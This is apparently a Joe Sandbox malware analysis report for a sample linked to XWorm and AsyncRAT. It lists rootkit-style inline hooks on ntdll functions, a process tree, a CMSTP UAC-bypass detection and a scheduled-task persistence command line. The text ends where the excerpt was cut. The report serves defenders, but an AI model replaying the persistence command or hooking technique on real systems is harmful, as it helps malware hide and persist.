ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	1
Start time:	05:20:17
Start date:	15/10/2024
Path:	C:\Users\user\Desktop\r8k29DBraE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\r8k29DBraE.exe"
Imagebase:	0x2616cab0000
File size:	571'904 bytes
MD5 hash:	DC50BAFF9F1BAB10F1EBC24E0D77AFC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.1595934770.000002611005F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.1598581961.000002616E806000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:20:20
Start date:	15/10/2024
Path:	C:\Users\user\Desktop\wzcsapi.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\wzcsapi.exe"
Imagebase:	0x6d0000
File size:	34'816 bytes
MD5 hash:	64FFE7C0FA6AC22F5ACAFD3CEB4ACA5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:20:21
Start date:	15/10/2024
Path:	C:\Users\user\Desktop\wzcsvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\wzcsvc.exe"
Imagebase:	0x7ff6b5ad0000
File size:	165'376 bytes
MD5 hash:	A69C6E092D415063A9FB80F8FE4E3444
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:20:21
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:20:21
Start date:	15/10/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6fc1b0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:20:21
Start date:	15/10/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 432 -p 1408 -ip 1408
Imagebase:	0x7ff683ca0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:20:21
Start date:	15/10/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1408 -s 1088
Imagebase:	0x7ff683ca0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:20:21
Start date:	15/10/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff6d9390000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:20:22
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:20:22
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:20:23
Start date:	15/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "wzcsapi" /tr "%Current%\wzcsapi.exe"
Imagebase:	0x7ff74bbf0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:20:23
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:20:23
Start date:	15/10/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74b010000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	05:20:26
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:20:26
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	05:20:27
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	05:20:27
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	05:20:28
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	05:20:28
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	05:20:28
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	05:20:29
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	05:20:29
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	05:20:30
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	05:20:31
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	05:20:31
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	05:20:32
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	05:20:32
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:03:01
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	07:03:02
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	07:03:02
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	07:03:04
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	07:03:04
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:03:04
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:03:05
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	07:03:05
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	07:03:06
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	07:03:07
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	07:03:07
Start date:	15/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.6%
Total number of Nodes:	131
Total number of Limit Nodes:	10

Executed Functions

Function 00007FFAAC560C5E Relevance: 8.5, Strings: 6, Instructions: 997COMMON

Download Yara Rule

Strings

r6, xrefs: 00007FFAAC560D67
r6, xrefs: 00007FFAAC560CBE
0W, xrefs: 00007FFAAC560E1D
b4, xrefs: 00007FFAAC560D88
r6, xrefs: 00007FFAAC560DB1
r6, xrefs: 00007FFAAC560E91

Memory Dump Source

Source File: 00000001.00000002.1600102747.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac560000_r8k29DBraE.jbxd

Similarity

API ID:
String ID: 0W$b4$r6$r6$r6$r6
API String ID: 0-2485616068
Opcode ID: 6fef828fced36ecf08f310f08a1a4bb619caccd4b0719aab082e4cbee0a0039c
Instruction ID: d02396f08a380a3596a354063c1759dc7da599885189e6e9bedc2eb50ce036b4
Opcode Fuzzy Hash: 6fef828fced36ecf08f310f08a1a4bb619caccd4b0719aab082e4cbee0a0039c
Instruction Fuzzy Hash: 78828B70D4861A8FEB48EF68C4959FDB7F1FF49300F1485A9E01AE7292DA38E945CB50

Function 00007FFAAC564A02 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FFAAC564AD8

Memory Dump Source

Source File: 00000001.00000002.1600102747.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac560000_r8k29DBraE.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 6a8b4a6511aa9f747acdce01df3f3901a931448b1d47ea36ed90acfcb77bd5c0
Instruction ID: a3fd3201f30c87a7974bab511727788a91113be0c0c134c799f6400a306f2b8f
Opcode Fuzzy Hash: 6a8b4a6511aa9f747acdce01df3f3901a931448b1d47ea36ed90acfcb77bd5c0
Instruction Fuzzy Hash: 2E31273190DB888FD72ADBB89846AEABFE1EF56321F04426FD049D3192DF646405C791

Function 000002616F5928DC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88873d5e8effef870f871fb690e3c29cc47414f70acfd919428cbb2d8d881e99
Instruction ID: 7f2807fb56c26457052148eb119a9d4293cf739ade85c4c5c37ba724a49560c0
Opcode Fuzzy Hash: 88873d5e8effef870f871fb690e3c29cc47414f70acfd919428cbb2d8d881e99
Instruction Fuzzy Hash: AC21A23A7047848AE3288F16E84462EB7E9F786F84F598019DE8953B54DF35EC96CB00

Function 000002616F5937A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002616F5937B2
GetCurrentProcess.KERNEL32 ref: 000002616F5937E0
VirtualProtectEx.KERNEL32 ref: 000002616F593802
GetCurrentProcess.KERNEL32 ref: 000002616F59381D
VirtualProtectEx.KERNEL32 ref: 000002616F59383E

Strings

wr, xrefs: 000002616F593813

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: cb0c5075c893b5dd7e3d0210f51354234327389f8aeb8cdfcea730c70914034b
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: 2B11823D3017408AEF189B16F40D259666AF746B84F098425DE4D03B54EF3ED969C700

Function 000002616F595B40 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002616F595B7B
GetThreadContext.KERNEL32 ref: 000002616F595CE5

Part of subcall function 000002616F595970: GetCurrentThreadId.KERNEL32 ref: 000002616F595974

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 133b7329f7c35a0d3b30a0080c0b2471880c4eb6935a293058c2dd16a093a5c7
Instruction ID: fb73f922376a7326ac4d10486b12fd90b36b1e0cbd476e50f710b3bc3e85d364
Opcode Fuzzy Hash: 133b7329f7c35a0d3b30a0080c0b2471880c4eb6935a293058c2dd16a093a5c7
Instruction Fuzzy Hash: D8D1ED7A204B8886DB74CB0AE49835AB7A5F3C9B85F548112EACD477A5DF3DD960CB00

Function 000002616F5950E0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002616F595166

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 78c1719296444293cfe9d161745095a92cc6b1110c02aac1e2bc54111f1104d4
Instruction ID: 04437a66b0cc7a1f3a2d795bc8755508a8b19a4b2c9b439dc878d9df1905c882
Opcode Fuzzy Hash: 78c1719296444293cfe9d161745095a92cc6b1110c02aac1e2bc54111f1104d4
Instruction Fuzzy Hash: DD020C36219BC48ADBA4CB59F49435AB7A5F3C5780F148015EA8E83BA9DF7DD864CF00

Function 000002616F5939F0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002616F593A76
VirtualAlloc.KERNEL32 ref: 000002616F593AB0

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: 583c9a696cbd2eed1741be8d9dfd6b22d02d31c25e0c094f16caf77a54ebc047
Instruction ID: 074052ddcf3e322968fe0f890455eba4881739eb596db4e34e47804b1cf84811
Opcode Fuzzy Hash: 583c9a696cbd2eed1741be8d9dfd6b22d02d31c25e0c094f16caf77a54ebc047
Instruction Fuzzy Hash: 28317535219AC4C9EB38DB14E05931FA7AEF389784F188525F5CD46BA9DF3ED9608B00

Function 000002616F5932A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

